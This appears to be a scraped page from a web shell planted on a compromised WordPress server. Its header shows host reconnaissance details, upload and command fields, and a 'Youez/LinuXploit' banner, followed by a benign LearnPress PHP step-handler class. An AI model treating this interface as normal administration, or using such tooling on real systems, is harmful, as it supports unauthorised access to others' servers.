403Webshell
Server IP : 172.67.147.195  /  Your IP : 216.73.216.142
Web Server : Apache/2
System : Linux hosting8537.lvs 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : mienphi ( 1014)
PHP Version : 8.2.14
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mienphi/public_html/wp-content/plugins/learnpress/inc/handle-steps/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mienphi/public_html/wp-content/plugins/learnpress/inc/handle-steps/class-lp-handle-steps.php
<?php

/**
 * Handle request(ajax|api) call step by step
 *
 * Class LP_Handle_Steps
 * @author tungnx
 * @version 1.0.0
 */
class LP_Handle_Steps {
	/**
	 * @var LP_Group_Step[]
	 */
	public $group_steps = array();

	/**
	 * @param array $params | keys: steps, step, data.
	 */
	public function handle( array $params ) {
		$response = new LP_REST_Response();

		try {
			$steps = $params['steps'] ?? array();

			if ( empty( $steps ) ) {
				throw new Exception( __( 'Invalid steps', 'learnpress' ) );
			}

			$step = $params['step'] ?? '';
			if ( empty( $step ) ) {
				throw new Exception( __( 'Invalid step', 'learnpress' ) );
			}

			$data = $params['data'] ?? array();

			/**
			 * @var $response LP_Step
			 */
			$response = $this->call_step( $step, $data );

			// Next step or Finish.
			if ( 'finished' === $response->status ) {
				// Set param to clone table next.
				$index = array_search( $step, $steps, true );
				++ $index;

				if ( ! empty( $steps[ $index ] ) ) {
					$response->status = 'success';
					$response->name   = $steps[ $index ];
					$response->data   = new stdClass();
				} else {
					$response->status = 'finished';
				}
			}
		} catch ( Exception $exception ) {
			$response->message = $exception->getMessage();
		}

		wp_send_json( $response );
	}

	/**
	 * Call Step
	 *
	 * @param string $step .
	 * @param array $data .
	 *
	 * @return false|mixed
	 * @throws Exception .
	 */
	public function call_step( string $step, $data = array() ) {
		$step_function = apply_filters( "lp-handle-steps/$step", array( $this, $step ) );

		if ( is_callable( $step_function ) ) {
			return call_user_func( $step_function, $data );
		}

		throw new Exception( __( 'Function not found', 'learnpress' ) . $step_function );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit